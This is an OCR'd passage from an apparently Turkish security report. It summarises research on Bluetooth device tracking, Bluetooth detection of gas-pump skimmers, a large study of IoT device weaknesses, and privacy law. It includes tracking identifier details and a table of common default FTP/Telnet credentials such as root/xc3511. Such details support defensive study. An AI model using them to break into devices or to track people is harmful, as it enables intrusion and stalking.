0x0006 yani Microsoft’a karsilik gelen degeri yaziyor. Bu
4 byte her Windows cihazda ayni oldugu i¢in bunu ta-
nimlayici isaret olarak kullanmak mumkin degil. Kalan 23
baytlik alana bakildiginda essiz ve rasgele yani her cihaza
6zel bir deger oldugu anlasiliyor. Bu nedenle 6n-izleme
asamasinda Windows cihazlar i¢in tanimlayici isaret ola-
rak reklam verisinin 4-27 bayt araligi segiliyor (Sekil 75).

pay lond: \‘ dafdbdea., Ablodeia l diderral,.. 51 dfeeel

- [ R

Ll 08 L. f5d bl ‘

Sekil 75: Windows 10 cihaz takibil'®l.

Windows 10 cihazlar i¢in bulunan bu isaretlerle yaklasik
12 kez adres degistiren bir cihazi 4 saat boyunca takip
edebileceklerini gbsteren arastirmacilar bir Windows 10
cihaz icin bu slreyi maksimum 11,2 saat olarak buldular.
Bluetooth’u strekli acik bir Windows 10 cihaz icin bu
deger Ust limitinin olmadigini séylemek mimkn.

16.5. Apple (macOS ve iOS) Cihazlarin Takibi

Apple cihazlar Windows 10 cihazlara kiyasla ¢ok daha
yuksek hizda, saniyede yaklagsik 2 kere reklam yap-
maktadir. Adreslerinin gecerlilik slresi ise oldukca
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degiskendir ve saniyelerden 2 saate kadar ¢iktigi gorul-
mektedir. Arastirmacilar tarafindan bu sirenin ortalama
degerinin yaklasik 20 dakika oldugu tespit edildi. Apple
cihazlar Windows 10 cihazlara benzer sekilde mesaj for-
mati Uretici tanimlayici bilgisi iceriyor ancak Windows
10’da kullaniimayan ek bayrak degerlere de sahiptir.

iBeacon, AirDrop, Airpods, Handoff, Nearby vb. Apple
cihazlara 6zel veri tipleridir ve en sik goérilenleri son
ikisidir. 14 baythk Handoff verisinin 13 baytlik kismi (ilk
bayt hep 0 dederini aliyor) cihazlar arasinda cakisan
degerleri kapsamiyor ve yeterli uzunluga sahip oldugu
icin tanimlayici isaret olarak kullanilabiliyor. Nearby ve-
risi ise 5 bayttan olusuyor. Bu verinin ilk 3 baytlik kis-
mi rasgele gérinmuyor, bu yizden verinin kalan kismi
cakismayi engellemek icin gerekli uzunlugu saglamiyor.
Pratikte buradaki degerlerin baska cihazlarla cakismadi-
g1 gbzlenmis ancak tek tanimlayici isaret olarak kullanila-
bilecek kadar glivenilir olmadigi gortlmus. Sonug olarak
Apple cihazlarin tanimlayici isaretleri olarak Handoff ve
Nearby verileri secilmektedir (Sekil 76).

Secilen bu isaretlerle yapilan arastirmalarda cogu du-
rumda adreslerin ve bu verilerin bazi durumlar haric
senkron olarak degistigi gézlemlenmis. Apple cihazlar-
da 5 adres degistirme islemine kadar takip edilebildigini
sdyleyen arastirmacilar Windows 10’a kiyasla adres ve
tanimlayici isaret degerlerinin ¢ok daha senkron olarak
calistigini gostermigler ve Apple cihazlar icin 6élcllen
maksimum takip suresini 53 dakika olarak belirtmiglerdir.

nearby: | | I ﬂ-l

handoff: | | | lw.: mc] " ||

address: | 188d1dbaal62 ,H., "~ 5fich@5c0beb

11:30

Sekil 76: Apple cihaz takibil'®.

16.6. Coziim Onerileri

Windows 10 ve Apple cihazlarin aksine Android cihaz-
larda bu iglemler senkron oldudu icin tanimlayici isaret
bulmak mimkin gérinmuyor. Bu yizden ¢6ziim olarak
arastirmacilar eger bir cihazin reklam paketlerinde ta-
nimlayici isaret olarak belirlenebilecek bir deger varsa
bu degerlerin reklam adresiyle eszamanl olarak degis-
mesini éneriyor.

Giyilebilir cihazlarda ya da dusik eneriji tiketimi isteyen
cihazlarda adres degisim islemi hi¢ yapilmamaktadir. Bu
sebeple adres degistirmek cihazin yapisina ters olabilir
ama en azindan bakim esnasinda ya da cihaz sarj edilir-
ken adres degistirme islemi yapilmasi takip edilebilirligi
engellemek ve gizliligi saglamak amaciyla uygulanacak
bir ydntem olabilir.

Asil yontem olarak Bluetooth baglantilar kullaniimadigi
durumlarda cihazlarn Bluetooth &zelliginin kapatiimasi
dogrudan saldirinin énlenmesini sagliyor.
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17. KREDi KARTI KOPYALAMA
CIiHAZLARININ BLUETOOTH TABANLI
TESPITI

ABD ve Avrupa’daki benzin istasyonlarinda musterinin
yakiti kendi doldurup akaryakit pompasinin yanindaki
POS cihazindan kredi kartiyla 6deme yapmasi oldukga
yaygindir. Bu uygulama glvenlik agisindan bazi zafiyet-
ler iceriyor. Bu zafiyet ve zafiyetin tespiti 2019 USENIX
Security konferansinda sunulan “Please Pay Inside:
Evaluating Bluetooth-based Detection of Gas Pump
Skimmers” adli galismada ele alindi 'l “Gas Pump
Skimmers” adi verilen bu hirsizlik yénteminin ABD’de
son zamanlarda oldukga sik gérildugu belirtiliyor. Bu
yéntemde kredi kartinin okutuldugu cihazin arkasina bir
donanim yerlestirilerek kredi karti bilgileri ve sifresi elde
ediliyor. Bunun icin saldirgan, 6deme yapilan gaz pom-
pasi muhafazasini kolayca acarak kablolama sistemine
“skimmer” adi verilen ve kredi karti bilgilerini kopyalayan
bir cihaz ekliyor ($ekil 77). Cihazin kolay temin edilme-
si ve ddeme cihazina rahatlikla entegre edilmesinin yani
sira, tespit edilmesi de oldukga gug. Bilgiler, mUsteri ve/
veya bankanin haberi olmadan kopyalaniyor. Bu cihaz-
larin genelde Bluetooth baglantisi da oluyor, bu saye-
de saldirgan aracindan c¢ikmadan, istasyona yakin bir
konumdan mdsterilerin kredi karti bilgilerini kolayca ele
gegcirebiliyor.

Sekil 77: Yakit pompasindaki kablolarla uyum saglayan gri kablolu
dahili Bluetooth tabanl “Skimmer” cihazil'".

Bu zafiyetin 6nline gegmek icin, periyodik olarak manuel
incelemeler yapilarak durumun tespit edilmeye calisil-
masi gerektigi belirtiliyor. incelemelerin manuel yapilma-
si olayin tespitini oldukga zorlastiriyor. Ancak bu cihazla-
rin Bluetooth kullanmasi aslinda saldirinin tespiti igin bir
kolaylik sagliyor!

Bildirildigine goére, Bluetooth taramalar ile genis ¢apli
bir calisma yapilarak doért eyalette toplam 64 adet blu-
etooth tabanl ‘Skimmer’ cihazi tespit edilmis. Ayrica ta-
ramalar sayesinde zararl cihaz diger mesru cihazlardan
kolayca ayirt edilebiliyor. Ayni zamanda zararl cihazla-
rnn MAC adresleri incelenerek Uretici firmalar da aciga
cikarilabiliyor.

Sektdr tahminlerine dayanilarak, bir adet “skimmer” ci-
hazinin gtinde 30-100 kredi karti bilgisi calabilecegi ve
kart basina 500 dolardan gunlik 15.000-50.000 dolar
zarara yol acabilece@i belirtiliyor'® 09, Agirlikh hedef
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olarak akaryakit istasyonlarindaki 6deme sistemlerinin
secilmesinin sebebi, glvenlik seviyelerinin gok disik ol-
masi olarak gosteriliyor. Clinkll gaz pompasi 6deme sis-
temleri igin cogu istasyonda ayni anahtarlar kullaniliyor
ve bunlar internet ortaminda satilmakta. Hazne kolayca
acilip cihaz rahatlikla yerlestirilebiliyor.

Bluetooth taramasiyla zararli cihazlarin tespiti “Bluetana”
ismi verilen uygulama kullanilarak yapiliyor (Sekil 79).
Uygulama Android Bluetooth API ile pasif bir sekil-
de Bluetooth taramasi yaparak ortami tarayabiliyor.
Bluetana uygulamasiyla hem klasik Bluetooth hem de
BLE olarak bilinen dusuk eneriili Bluetooth taramasi ya-
pilabiliyor. ABD’de 44 goénulll kisi vasitasiyla, Bluetana
uygulamasinin galistinldigr akilli telefonlar kullanilarak 6
eyalette testler yapilmis ve bu ¢alisma neticesinde top-
lam 1185 benzin istasyonunda 2562 bluetooth cihazi
tespit edilmis. Taramalar ilerletilerek Arizona, Kaliforniya,
Nevada ve Maryland’de, Bluetana uygulamasiyla toplam
64 tane “Skimmer” zararl cihazi tespit edilmis (Sekil 78).
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Sekil 78: Kaliforniya’daki benzin istasyonunda Bluetana tarafin-
dan yakalanan Bluetooth tabanli bir “Skimmer” cihazil'".

Bluetana’nin, taradigi cihazlarin cihaz ismi, MAC ad-
resleri, lokasyonu, cihaz sinifi ve sinyal glict dahil tim
parametrelerini topladigi ve analiz i¢in kullandigi gelisti-
riciler tarafindan ifade ediliyor. Bu ¢alismanin en énemli
sonucu olarak “Skimmer” cihazlarinin Bluetooth tara-
maslyla diger Bluetooth cihazlarindan nasil ayirt edil-
digi gosteriliyor. Buradaki ana ayirt edici faktdr olarak
Bluetooth protokoliindeki “Class-of-Device” parametre-
sinin “Uncategorized” olarak gelmesi gdsteriliyor. Ayrica
sinyal glcunin gaz pompasinin yakinlarinda yuksek
degerde olmasi da guvenilir bir kanit saglamakta ve
“Skimmer” cihazin varligina isaret edebilmektedir.

Yapilan ¢alismada “Skimmer” cihazlarin “Class-of-Device”
parametresinin degistirilebildigi fark edildi. Bu parametre-
nin degistiriimesi durumunda Bluetana s6z konusu cihaz-
lar tespit edemeyecekti. Ancak yapilan taramalar sonucu
tespit edilen 87 cihaz incelendi ve higbirinde bahsi gecen
parametrenin degistirilmemis oldugu belirtildi.
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Sekil 79: Bluetana’nin slipheli bir cihaza karsi galisma prosedirit'.

Tarama sonucunda bulunan cihazin “Class-Of-Device”
parametresinin “Uncategorized” olmasi “Skimmer” ci-
hazlara 6zgl bir sey degil. Herhangi bir Bluetooth ci-
hazda bunun olabilecegi bildiriliyor. Bu durumda o ci-
haz hakkinda kesin olarak “Skimmer” kanisina varmanin
dogru olmayabilecegi belirtiliyor. Benzin istasyonlarinda
yapilan gesitli taramalar sonucunda “Uncategorized” ci-
hazlarin yizde 50’den fazlasinin “Skimmer” oldugdu tes-
pit edilmis. Bu baglamda farkl parametreler kullanilarak
tespitin dogru yapilmasi ihtimalinin artirimasi gerektigi
belirtiliyor. MAC adres kontrollerinin yapilmasi bilinen
markalarin (Apple, Logitech vb.) ihtimaller arasindan ¢i-
karlmasini sagliyor. Ancak bilinmeyen markalar arasinda
hala “Skimmer” olmayan cihazlar olabilecegi icin cihaz
isminin de kullaniimasi dogru tespit ylizdesinin artirima-
sina yardimci olabiliyor. Yapilan ¢aligmalar sonucunda
“Skimmer” cihazlarinin timinin isminin “varsayilan”
veya “isimsiz” oldugu belirlendigi igin “Skimmer” tespiti
icin bu isimlerin kullaniimasi gerektigi belirtiliyor.

18. EV AGLARINA BAGLI loT CIHAZLARININ
ANALIZi

Bircok loT (Nesnelerin interneti) cihazinin giivenlik én-
lemlerinin zayif olmasi saldirganlari Dagitik Servis Digi
Birakma (DDoS) saldirisi ydéntemleriyle ev agina eriserek
yerel adi ele gecirmek gibi diistik maliyetli kolay saldi-
nlara 6zendirmektedir. Buna ragmen loT cihazlarinin
glvenligine yeterli 6zen godsteriimemektedir. USENIX
Security 2019’da sunulan bir tebligde 16 milyon hane-
deki 83 milyon loT cihazi Gizerinde yapilan genis ¢apli bir
deneysel analizin sonuglari agiklaniyor?,

loT cihazlarinin kullaniimasinin diinya ¢apinda yayginlas-
masi bu alanda birgok dretici firma kurulmasini da bera-
berinde getirmistir. 14 binin Uzerinde Uretici firma tarafin-
dan piyasaya sirllen bu cihazlarn yizde 90’inI sadece
100 firma Uretmektedir. Yapilan incelemeler loT giivenligi
konusundaki farkindahgin cografi farkhliklar gosterdigi-
ni ortaya koyuyor. Ornegin; Kuzey Amerika’da TP-Link
yénlendiricilerin en ¢cok ylizde 20’si zay!f sifrelerle ydneti-
ci ara yUzlne erisime izin verirken bu oran Dogu Avrupa,
Orta Asya ve Giiney Asya’da ylzde 50’lere cikabiliyor.

Arastirmacilarin  kullandidi WiFi Inspector araci, loT
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cihazlarinin ve ev agindaki diger bilgisayarlarin giiven-
li bir sekilde ortak agda kullaniimasina olanak saglyor.
Kullanicinin yerel bilgisayarinda ¢alistinlarak dogrudan
kullanilabilen bu arag, ag taramalar yaparak yerel alt
aga bagl olan cihazlarda zayif kimlik bilgileri kullanilarak
girilen veya uzaktan istismar edilebilen zafiyetleri kontrol
ediyor. WiFi Inspector’in sahip oldugu temel yetenekler
sunlar:

Agd Tarama: ARP tablosunda tutulan kayitlari kullana-
rak tarama sonuglarini listeler.

Cihaz Turtind Tespit Etme: Application (Uygulama) ve
Transport (Tagima) katmanlarindaki verilerin islenmesiy-
le siniflandirma algoritmasi kullanilarak agdaki cihazlar
14 farkl kategoriye ayrilir. (Bilgisayarlar, ag dtgumileri,
mobil cihazlar, oyun konsollari, gézlemleme cihazlari,
tagitlar, ev uygulama aletleri, ses asistanlari vb.)

Ureticiyi Belirleme: Her cihazin MAC adresinde bulu-
nan ilk 24 bite bakarak cihaz turUyle Ureticinin iliski-
lendirilmesi. Bu iligkilendirmeyi IEEE’nin kayitlarinda
bulunan organizasyonlara has kimlik belirle sistemini
kullanarak saglar (IEEE — OUI).

Zayif Kimlik Bilgilerinin Kontroli: FTP, Telnet servisle-
rine ve http web ara yuzlerine sdzlige dayal saldirilar
(dictionary based attacks) kullanarak zayif kimlik bil-
gilerine sahip cihazlan tespit eder. Kaba kuvvet sal-
dirnisi yaparken bilinen 6n taniml sifreleri (admin/ad-
min), yaygin kullanilan sdz dizimleri (user, 1234, love)
ve loT zararlilaninin kullandig sifreleri dener.

Yaygin Zafiyetlerin Kontrolii: Hedef cihazlara zarar
vermeden test edilebilecek glincel 50 istismar yon-
temini deneyerek sistemlerin savunma mekanizma-
sini test eder. WiFi Inspector aracinin kullaniimasiyla
veri kiimesindeki hanelerin (1865 hane) taranmasi
sonucunda, bilinen zafiyetlerle sémdurilebilir olup ol-
madigi test edilen hanelerin ylzde 62’sinde en az bir
bilinen zafiyetle cihazlara girilebildigi ortaya ¢ikmistir.
Denenen zafiyetlere 6rnek olarak CVE-2018-10561,
EDB-ID-40500, ZSL-2014-5208 verilebilir.

Protocol  Feld Search Patem Device Type Label  Confidence
DHCP  Class 1D (P1)80MSINEL- : IMerwork[- : IPrinter Printer 0%
UPnP  Device Type  .#hubl.« 1oT Hub 050
HTTP Tile (?i)Polycom - (7:SoundPoint IP )7(7:SeundStation IP )7 1P Phaonse [F3]
mDNS  Name (71)_panpleaf (7:apilms) 7\, veph.Llocall Lighting 050

Sekil 80: Ornek cihaz siniflandirma kurali,
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Cihaz kimliginin tespitinde kullanilan Cihaz Siniflandirma
Kurallar (Sekil 80, 81) Random Forest algoritmasi kul-
lanarak belirlenmis. Makine 6grenmesinde kullanilan bu
algoritma ¢ok sayida karar agaci olusturarak tekil agag-
larin ortalama tahminini belirlemeye yarar. Arastirmacilar
ag siniflandirmasini uygularken 5 farkli ag 6zelliginden
faydalanmig. Bunlar MAC adres bilgisi, yerel IP adresi,
dinlenen servisler (portlar ve protokoller), her bir port
Uzerindeki uygulama katmani cevaplar, DHCP class_id
ve hostname’den olusuyor. Arastirmacilar karar aga-
cl algoritmasini gelistirilirken rasgele segilen yaklasik
500 bin cihaz Gzerindeki verilerden toplanan bilgilerden
faydalanmiglar.

Classifier Coverage  Accuracy Macro F1
Supervised Ensemble 0.91 0.95 0.78
Network 0.89 .96 0.79
uUPnP 0.27 0.91 0.37
mDNS 0.05 0.94 0.25
HTTP 0.14 0.98 0.23
Final Classifier 0.92 0.96 0.80

Sekil 81: Cihaz siniflandirma performansi?.

Ornek veri seti uygulandiktan sonra, siniflandirma algo-
ritmasi uygulanmis ve manuel olarak girilen 1000 cihaz-
da kapsama oraninda yuzde 92, tutarliik oraninda ise
ylzde 96 basar saglanmisti. Manuel 1000 cihaz test
edilirken, ag siniflandirma kurallari ve uzman kurallar bir
arada kullaniimistir.
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Sekil 82: Evlerde bulunan loT cihazlarinin bélgelere gére dagiimit?.

Sekil 82'deki grafikte, cesitlere gore ayrilmis olan loT ci-
hazlarinin bélgedeki hanelerde en az bir tane bulunma
ylzdesi ve griyle taranmis kisimda ise belirlenen ciha-
zin bulundugu bolgedeki loT cihazlan igindeki ylzdesi
gorilmektedir. Ornegin Kuzey Amerika’daki evlerin yiiz-
de 42,8’inde en az bir medya cihazi bulunmaktadir ve
bélgedeki loT cihazlarinin yiizde 44,9’u medya cihazidir.
Calisma yapilirken sadece loT cihazi bulunan evler disi-
nilerek ytuzde olusturulmustur. Yani raporlamanin amaci
loT cihazlarinin birbirine kiyasla dagiimidir denilebilir.

Sekil 83’de, makale sirasinda kullanilan veri kimesinde
bulunan loT cihazlan arasinda Urinleri en ¢ok kullanilan
5 Ureticinin, bulunduklar bdlgelere gére kullanim ylizde-
lerini g&sterilmektedir. Sonucta, Ureticiler bdlgelere gore
degisiklik gostermekle birlikte sistemlerin genel olarak
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Sekil 83: Cihaz turtine ve bolgelere gore en yaygin Ureticiler??.

ayni yollarla ifsa edildigi anlagiimistir. Ayrica kullanilan
yonlendiricilerin ylzde 93’Unde 80 portu Uzerinde http
ybnetici aray Uzlne sahip oldugu gdézlemlenmistir. Ek
olarak yoénlendiricilerin ylzde 66,5’inin UDP (izerinden
DNS servisi, ylizde 63,4’Unlin UPnP servisi ve ylzde
19,7’sinin de SSH servisi destekledigi gérilmustar.

Port Service Devices Port Service Devices
1900 UPnP 406,29 139 SMEBE 10.6%
=20 HTTP A45. 7% 8443 HTTPS Al 0.5%
5353 miDNS 390.2%% HOOY HTTP Alt. 9 30
2080 HTTP Alr 26.9% 445 SMB B.7%
443 HTTPS 21.1% 7676 Custom 8.2%
9100 JetDirect 19.5% 49152 - 7.9%
515 LLPR 16.5% 21 FTP 7. 89
631 IPP 11.8% 5000 UPnP 7.8%
554 RTSP 11.8% 23 Telnet 7.1%
8008 HTTP Al 11.1%

Sekil 84: Servislerin 10T cihazlarinda kullanimi2.,

Sekil 84’te arastirma sirasinda kullanilan veri kiimesin-
deki loT cihazlarinda bulunan agik portlar ve lzerinde
calisan servisler gosterilmektedir. Kullanilan en popduler
protokoller cihaz kesfi (UPNP, mDNS) ve cihaz yoneti-
miyle alakahdir (http, HTTPS). Cogdu loT cihazi gému-
0 sunucu olarak calistinimaktadir. Cihazlarin yizde
67,5 kadari ise en az bir TCP veya UDP tabanl hizmet
vermektedir. Dikkat ¢ceken diger nokta ise cihazlarin
Telnet (%7.1) ve FTP (%7.8) gibi eski protokolleri halen
desteklemesidir.

Credential T Credential T
admin/admin 88.3% admin/admin 35.6%
admin/ 5.99 root/xc3511 16.0%
Administrator/ 1.4% vodafone/vodafone 10.4%
sysadm/sysadm 0.9% guest/guest 7.8%
root/ 0.7% admin/1234 7.5%
root/root 0.4% root/hslwificam 3.9%
user/ 0.4% root/vizxv 3.7%
meo/meo 0.3% root/oelinux 123 2.2%
admin/password 0.3% admin/4321 1.8%
admin/tinet 0.3% 1.6%
other 1.0% other 9.5%

Sekil 85: En Yaygin kullanilan FTP ve telnet kimlik bilgileri?°.
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Sekil 85’in sol sutununda zayif FTP, sagda ise zayif Telnet
Kimlik Bilgileri ve kullanilma ylizdeleri verilmektedir. WiFi
Inspector, cihazlarin zayif varsayilan kimlik bilgileriyle
erisilebildigini tespit etmek i¢in cok klcuk sézlikle sal-
dir yaparak erisim izni almaya ¢alismis ve bagarili erisim
ylzdeleri sonucta yukaridaki tabloda géraldigu gibi ol-
mustur. Bu sonuglarda loT cihazlarinda gerekli giiven-
lik dnlemlerinin ne denli ihmal edildigi acikga goriliyor
(Neredeyse cihazlardaki tim FTP servislerine “admin/
admin” girisi yapilabilmigtir).

Evlerde kullanilan loT cihazlarinin bu 8lgide gtvenlik
sorunlari barindirmasi beraberinde sistemlerin korunma-
sina yonelik uygulamalari getirmektedir. Zayif sifreleme-
lerle korunmaya caligilan loT cihazlarnnin agigini kullanan
Mirai Botnet, cihazlar ele gecirmekte ve agir DDoS’lar
yapabilmektedir. Arastirmacilar, kullanicilara uygun gu-
venlik 6nlemleri i¢cin ag Gzerindeki trafigin takip edilmesi-
ni, kum havuzu kullaniimasini (sandboxing), cihaz kimlik
dogrulama yoéntemlerinin gelistirilmesini, cihazlardaki
bilgi akisinin denetlenmesini tavsiye ediyorlar.

Arastirmacilann belirttigine gore gercek diinyada kulla-
nilan loT cihazlarinin bu denli genis ¢capl bir deneysel
analizi ilk kez yapilmistir. Aragtirma sirasinda 16 milyon
evin i¢ agindan taranarak tespit edilen 83 milyon cihaz
ornegi alinmigtir. Burada loT cihazlarinin giniimizdeki
kullanim yayginliginin ne denli genis oldugu goériimekte-
dir. Bazi bélgelerde evlerin bircogunun i¢ agina bagli en
az bir loT cihazi vardir. WiFi Inspector aracinda kullanilan
Random Forest algoritmasiyla hangi turlerin ve Ureticile-
rinin oldugu saptanabilmis ve kullanilan cihaz tirlerinin
icerdigi zayifliklar analiz edilmistir. Calisma boyunca FTP
ve Telnet protokoll Gzerindeki zayif sifrelemelerin kulla-
nildigi, ayrica bilinen zafiyetlerle sistemlerin ele gegirile-
bildigi ortaya konmustur.

Kisisel verilerin korunmasi ve veri mahremiyeti konulari
kiresel capta gindemden dismeyen konular arasinda
yer aliyor. Gerek yapllan ihlaller gerekse verilen cezalar-
la gindemdeki yerini koruyan bu iki kavram, Ulkemizde
KVKK (Kisisel Verilerin Korunmasi Kanunu) uluslararasi
alanda da GDPR (General Data Protection Regulation)
kapsaminda degerlendiriyor. Cumhurbagkanligi karar-
namesi ile yayinlanan 2019/12 sayill “Bilgi ve iletisim
Guvenligi Tedbirleri” genelgesinde de kritik bilgilerin
(Nufis, saglik ve iletisim kayit bilgileri, genetik ve biyo-
metrik veriler v.b.) korunmasi ile ilgili konulara dogrudan
yer verilmesi, kisisel verilerin korunmasinin Ulkemizde
ne kadar Ust dizeyden énemsendigini ve ele alindigini
gostermektedir.?'! Raporumuzun bu kisimda; bu iki kav-
ramin ¢iIkis noktasi, mevcut uygulamalar ve birey, kurum
ve kuruluslarin yasal gergevede dikkat etmeleri gereken
hususlar detayli olarak ele aliniyor.
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19. KiSISEL VERILERIN DUNU, BUGUNU,
YARINI

Mahremiyet, 6zgUrliga ve gizliligi barindiran bir olgudur
ve insanlar tarihsel gelisimi boyunca mahremiyete énem
vermigtir. Mahremiyet, insanin kendisi ile toplum arasin-
daki sinirlan belirlemesi ve dahasi kontrol edebilmesidir.
Kisinin bedeni, kisiligdi, ailesi, fiziki yasam alani, kisisel veri-
leri ve bunlarin bulundugu elektronik ortamlar kisisel mah-
remiyet alanlarindan sadece birkacidir. Mahremiyet olgu-
sunun ve alanlarinin korunmasi antik ¢aglardan beri insan
faaliyetinin 6nde gelen unsurlar arasinda yer almaktadir.

Mahremiyet, kadin ve erkegin yapraklarla értinme ca-
balarindan meskenlerin korunmasina kadar genis bir
yelpazede insan davraniglarini belirleyen bir etken ol-
mustur. Ornegin hane mahremiyetinin korunmasi ama-
ciyla Yunanhlarin meskenlerin giin 1sigini en Ust seviyede
almasi ve disaridan en az goériinmesini saglamak igin
insaat sirasinda matematik ve geometriden yararlandi-
g1 bulunmustur. Ayrica bircok baska Ulkede oldugu gibi
ingiltere’de de insanlarin evleri ilk baslarda sadece genis
bir odadan olusurken ve tiim aile burada kalirken zaman-
la evler degisime ugramis ve yatak odasi olgusu yasam
bigimine dahil olmustur. Bir bagka ornekte ise 14. yy. ile
18. yy. arasinda insanlarin mahremiyetlerini korumak igin
kisisel mektuplarinin gizlice okunmasinin énlenmesi ta-
lebiyle mahkemelere basvurdugu goérilmuastdr.

Mahremiyetin korunmasinin tarihsel sirecine baktigimiz-
da teknolojideki hizli gelismenin mahremiyet ihlallerinin
artmasina katkida bulundugu gérilmektedir. Ozellikle ki-
sisel verilerin korunmasi biyuk bir sorun olarak karsimi-
za gikmaktadir. internetin yayginlasmasi, Endiistri 4.0 ile
birlikte btin nesnelerin birbirine baglanmasi ve ihtiyac-
larin buyUk bir kisminin elektronik ortamlarda giderilme-
ye basglamasiyla kisilerin mahremiyetlerini kontrol etmesi
risk altina girmistir. Bilginin ticarilestirildigi ve ekonomik
degere donustiruldigu siber uzayda, kisisel verilerin ko-
runmasiyla ilgili politikalarin dnemi gittikge artmistir.

Kisi haklari sonsuz degildir. Toplum icindeki bireylerin
birbirine kargl sorumluluklari vardir. Bu nedenle kisinin
mahremiyetiyle ilgili haklar diizenlenirken diger bireylere
karsi sorumluluklari da gdzetilerek bir denge kurulmali-
dir. Bu politikalar diizenlenirken kamu yarari ile mahremi-
yet bazen 6rtislrken bazen de celismektedir. Devletler
kisisel verilerin korunmasiyla ilgili yasalari olustururken
kamu vyararini gbzeten kagis noktalari koymaktadir.
Kamu yararinin gdzetilmesinin gerektigi durumlarda ki-
sinin mahremiyeti kisitlanabilmektedir. Higbir devletin,
kamu kurumlarinin ve &zel kurumlarin kigisel verileri ig-
lemeden iglevlerini yerine getiremeyecegdi aciktir. Bu ne-
denle 6698 Sayil Kisisel Verilerin Korunmasi Kanunu ve
diinya Uzerinde kisisel verilerin korunmasi igin ¢ikarilan
kanunlar, kurallar ve direktiflerin ortak noktasi kisisel ve-
rilerin belirli bir diizen ve kurallar cercevesinde usuliine
uygun, orantili bir bicimde islenmesinin saglanmasidir.
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19.1. Kisisel Verilerin Korunmasi ile ilgili
Ulusal ve Uluslararasi Dizenlemeler

Mahremiyet hakkinin hukuki bir hak oldugu ilk kez 19.
yy sonlarina dogru Amerika Birlesik Devletleri’'nde go6-
rintileme ve ses iletimi konusundaki teknolojik gelis-
meler Uzerine tartisiimaya baslanmistir. Samuel Warren
ile Louis Brandeis tarafindan kaleme alinan “Mahremiyet
Hakki” baglikli makale 1890 yilinda Harvard Hukuk der-
gisinde yayinlanmigtir. Bu makale, mahremiyeti ayr bir
kavram ve hak olarak ortaya koymus olmasindan do-
layr hukuk cevrelerinde buyik ilgi ¢ekmistir??. Daha
sonra 1948 yilinda kabul edilen insan Haklari Evrensel
Beyannamesi’nin 12. maddesinde mahremiyet hakki-
na yer verilmistir. 1953 yilinda yurirlige giren Avrupa
insan Haklar Sézlesmesi ile kisisel verilerin korunmasi
hukuken glvence altina alinmigtir. ABD’de 1967 yilinda
yirirlige giren Bilgilenme Ozgirliigu Yasasi ile herkese
devlet kurumlarindaki belgelere erisim talep etme hakki
taninmugtir. 1980 yilinda OECD tarafindan Kisisel Verilerin
Sinir Otesi Transferine iliskin Rehber yayinlanmistir. 1981
yilinda Kisisel Verilerin Otomatik isleme Tabi Tutulmasi
Karsisinda Bireylerin Korunmasi Sézlesmesi AB tarafin-
dan Strasburg’da kabul edilmis ve Tirkiye de bu s6z-
lesmeyi imzalayan Ulkeler arasinda yer almistir. 1983
yilinda Almanya’da nifus sayimi karari olarak bilinen bir
karar ile Anayasa Mahkemesi, vatandaslarin kisisel veri-
leri Uzerinde kendi kararlarini alma temel hakkina sahip
olduguna karar vermistir. Bu karar Uzerine yetkili kurum-
lar, kisisel verileri nifus sayiminin digina ¢ikararak daha
fazla anonimlik saglamak zorunda kalmistir. 1990 yilinda
BM Bilgisayarla islenen Kisisel Veri Dosyalarina iliskin
Rehber yayinlamistir. 1995 yilinda Avrupa Parlamentosu
ve Avrupa Konseyi Kisisel Verilerin islenmesi ve Serbest
Dolasimi Bakimindan Bireylerin Korunmasina iligkin
Direktifi kabul etmistir. 2016 yilinda AB tarafindan kabul
edilen GDPR (General Data Protection Regulation) ile
Kisisel Verilerin Korunmasi Kanunu bu direktif esas ali-
narak hazirlanmistir. Turkiye’de yapilan diizenlemelerde
1982 Anayasasinda 6zel hayatin gizliligi anayasal bir hak
olarak yer almigtir. S6z konusu madde 2010 tarihinde
yeniden diuzenlenerek kisisel verilerin korunmasiyla ilgili
dizenlenmeler eklenmistir. Kisisel verilerin korunmasiyla
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Sekil 86: Dinya genelindeki veri koruma durum haritasi.
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ilgili hikdmlere Turk Ceza Kanununda da yer verilmekte-
dir. Dunya genelinde kigisel verilerin korunmasina iligkin
diizenlemelerin bulundugu Ulkeleri gésteren harita asa-
gida gosterilmektedir?®

19.2. Yapilan Veri ihlalleri ve Uygulanan
Yaptirimlar

Kisisel verilerin korunmasi amaciyla llkeler bireysel hak
ve 6zgurliklerin merkezde oldugu reglilasyonlar olus-
turmak icin ¢ok gesitli adimlar attilar. Yapilan ¢alisma-
lar sonucunda AB (lkelerinde GDPR, Ulkemizde KVKK,
Brezilya’da LGPD, Avustralya, Tayland, Japonya, Giney
Kore ve ABD’de birgok eyalette kisisel veri ihlalleri ile il-
gili regllasyonlar yayinlandi. Sirketlere sistemlerinin re-
gulasyonlara uyumlulugunu saglamalar icin belirli stire
verildikten sonra kanunlarin tam anlamiyla uygulan-
masina baglandi. Kanunlari ihlal eden sirketlerin blyik
yaptinmlarla karsi karsiya kaldigi gortldi. Dinya devleri
sirketlerin kisisel verilerin korunmasiyla ilgili yatinmlari-
nin yeterli seviyelerde olmadigi ve kanunlara uyumlulugu
saglamak icin galismalar yapacaklarina iliskin agiklama-
lar yaptiklar gorildi. Bu agiklamalarin temel amaci dik-
kat cekmemek, eksikliklerin oldugunun beyan edilmesi,
onlem alindiginin gésteriimesi ve en énemlisi cezai su-
reclerin geciktiriimesi olmaktadir.

Sosyal paylasim sitesi Facebook, kisisel verilerin korun-
masl konusunda simdiye kadar verilen en bilylk ceza-
yi almis olan firmadir. ABD Federal Ticaret Komisyonu,
Facebook’un Cambridge Analytica skandali nedeniyle
5 milyar dolar ceza 6demesine karar vermistir. Ayrica
Facebook’un veri koruma calismalarini giclendirmesi
istenmistirt24l: 1291 (261,

Peki, nedir bu Cambridge Analytica skandali? Oncelikle
Cambridge Analytica sirketinin is dlnyasina ve siyasi
partilere hizmet sunmak igin kurulmus, ingiltere merkezli
bir veri analiz sirketi oldugunu séylemek gerekiyor. Bu
sirketin Trump’in se¢im kampanyasinda rol aldidi, ayrica
ingiltere’nin AB’den ¢cikmasi icin yapilan BREXIT referan-
dumunda da etkin rol oynadidi ifade edilmistir. Bu sirke-
tin Trump’in se¢cim kampanyasi sirecinde, Facebook’ta
bulunan bir uygulama araciligiyla insanlara bir anket
doldurmalar igin para 6dedigi, bunun sonucunda ise
sadece 6deme yapilan insanlarin degil onlarin arkadas
listelerindeki kisilerin de bilgilerine erigebildigi tespit edil-
mis bulunuyor. Ustelik arkadas listesinde yer alan kisile-
